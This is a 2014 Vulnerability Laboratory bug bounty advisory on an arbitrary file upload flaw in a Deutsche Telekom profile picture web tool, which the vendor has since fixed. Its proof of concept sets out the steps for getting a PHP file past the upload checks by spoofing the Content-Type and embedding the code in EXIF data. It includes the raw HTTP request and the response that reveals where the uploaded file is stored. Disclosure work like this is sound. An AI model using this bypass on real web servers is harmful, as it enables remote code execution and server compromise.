German Telekom Arbitrary File Upload

`Document Title:  
===============  
German Telekom Bug Bounty #10 - Arbitrary File Upload Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1176  
  
Dev Article: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/  
  
Exclusive News: http://news.softpedia.com/news/Expert-Finds-SQL-Injection-and-RCE-Vulnerabilities-in-Deutsche-Telekom-Systems-424518.shtml  
  
  
Release Date:  
=============  
2014-02-04  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1176  
  
  
Common Vulnerability Scoring System:  
====================================  
7.2  
  
  
Product & Service Introduction:  
===============================  
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn,   
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the former state-owned monopoly   
Deutsche Bundespost was privatized. As of June 2008, the German government still holds a 15% stake in company   
stock directly, and another 17% through the government bank KfW.  
  
(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom & http://www.telekom.com/bug-bounty )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered an arbitrary file upload web vulnerability in an official German Telekom website web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)  
2013-12-30: Vendor Notification (Telekom CERT Security Team)  
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)  
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000¤)  
2014-02-04: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Deutsche Telekom (German Telecom)  
Product: Profil Bild Online Service - Web Application 2014 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
An arbitrary file upload web vulnerability has been discovered in the official German Telecom Profile Picture tool website web application.  
The web vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the dbms, website or web-server system.   
  
The arbitrary file upload vulnerability is located in `/scripts/php/process.php` file. After executing the query through the process.php   
page, the query result can be seen from `/scripts/php/downloadImage.php`. Remote attackers are able to manipulate the POST method request   
with of the process.php file to upload unauhorized own malicious files.   
  
Exploitation of the remote web vulnerability requires no user interaction and also no privileged web application user account.  
Successful exploitation of the arbitrary file upload vulnerability results in web-server, web module, website or dbms compromise.  
  
Vulnerable Module(s):  
  
[+] profilbildtool  
Vulnerable File(s):  
[+] /scripts/php/process.php  
  
  
Proof of Concept (PoC):  
=======================  
The arbitrary file upload vulnerability can be exploited by remote attackers without privileged application user account   
and without required user inter action. For security demonstration or to reproduce the web vulnerability follow the provided   
information and steps below.  
  
a) The attacker should visit the main page   
http://profilbildtool.telekom.de/imagecropper.php?lang=en to create an image using the system  
b) In Choose network section: Twitter can be chosen as our network  
c) In Type of activity:   
1) "Official use" radio button should be used  
2) "Lead accounts" from the dropdown menu  
3) The country should be chosen is "Austria AT"  
4) in Select Logo: "T-Systems" should be used   
d) Types of background  
1) Choose "Picture" for background   
2) Browse and choose a specially crafted php or exe file. For example, we will use test.php  
3) Press upload  
At this point we should intercept the request and change  
  
Content-Type: text/php to Content-Type: image/jpeg   
  
This will help us to bypass the type checking on the server Side  
  
The other constraint is the size of the file, We can change this by generating a specially crafted php file where   
the php code is in the EXIF section of the file. By this, the file will run as php correctly once its extension is php.  
  
Our request will be similiar to this ...  
  
POST /scripts/php/process.php HTTP/1.1  
Host: profilbildtool.telekom.de  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101   
Firefox/25.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://profilbildtool.telekom.de/uplFrame.php  
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a2fo8080  
Connection: keep-alive  
Content-Type: multipart/form-data;   
boundary=---------------------------662283032583176423330776453  
Content-Length: 10355  
  
-----------------------------  
662283032583176423330776453  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
10000000  
-----------------------------  
662283032583176423330776453  
Content-Disposition:   
form-data; name="upImg"; filename="test.php"  
Content-Type: image/jpeg  
  
[The file content]   
  
It should has the header of an image to bypass the type checking also   
The response of this file request will be similiar to   
  
HTTP/1.1 200 OK  
Date: Mon, 30 Dec 2013 05:23:44 GMT  
Server: Apache  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Pragma: no-cache  
Content-Length: 65  
Content-Type: text/html; charset=UTF-8  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
<img src="../../tmp/thmb_aef0de6638bc51419334299c100bb095.php" />  
  
The extension of the uploaded file depends on the extension in the name of our file.  
This gives us the ability to upload any file type we want to upload.  
  
  
  
Security Risk:  
==============  
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
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